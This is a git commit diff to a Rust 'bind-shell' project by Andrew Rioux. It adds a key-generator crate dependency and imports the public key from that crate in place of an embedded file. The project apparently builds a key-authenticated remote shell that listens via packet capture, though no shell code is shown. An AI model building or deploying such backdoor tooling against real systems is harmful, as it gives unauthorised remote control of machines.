build: made it easier to build bind-shell

This commit is contained in:
Andrew Rioux
2023-05-07 00:08:04 -04:00
parent 318e1b6d05
commit 52e458296c
10 changed files with 63 additions and 21 deletions

View File

@@ -8,8 +8,9 @@ edition = "2021"
[dependencies]
tokio = { version = "1.21.2", features = ["net", "rt", "macros", "rt-multi-thread", "sync", "process", "io-util"] }
pcap-sys = { path = "../../../pcap-sys" }
ex-bind-shell-key-generator = { path = "../key-generator" }
anyhow = "1.0.70"
tokio-stream = "0.1.14"
ed25519-dalek = "1.0.1"
log = "0.4.17"
simple_logger = "4.1.0"
simple_logger = "4.1.0"

View File

@@ -8,7 +8,7 @@ use pcap_sys::{self, packets::EthernetPacket};
use tokio::{self, io::AsyncReadExt, process, sync::mpsc};
use tokio_stream::StreamExt;
const PUBKEY: &[u8] = include_bytes!("../../key-generator/pubkey");
use ex_bind_shell_key_generator::PUBKEY;
#[tokio::main]
async fn main() -> anyhow::Result<()> {